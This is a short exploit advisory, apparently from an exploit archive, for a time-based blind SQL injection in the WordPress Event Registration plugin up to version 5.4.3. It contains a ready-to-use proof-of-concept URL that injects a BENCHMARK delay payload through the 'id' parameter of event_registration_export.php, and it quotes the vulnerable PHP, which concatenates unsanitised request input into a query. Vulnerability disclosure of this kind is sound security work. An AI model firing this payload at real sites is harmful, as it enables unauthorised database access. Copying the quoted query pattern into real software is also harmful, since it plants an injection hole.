# Exploit Title: WordPress Event Registration plugin <= 5.4.3 SQL Injection Vulnerability
# Date: 2011-08-30
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/event-registration.5.43.zip
# Version: 5.4.3 (tested)
# Note: magic_quotes has to be turned off

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PoC
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http://www.site.com/wp-content/plugins/event-registration/event_registration_export.php?id=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20

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Vulnerable code
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$id= $_REQUEST['id'];
...
$sql  = "SELECT * FROM " . $events_detail_tbl . " WHERE id='$id'";
$result = mysql_query($sql);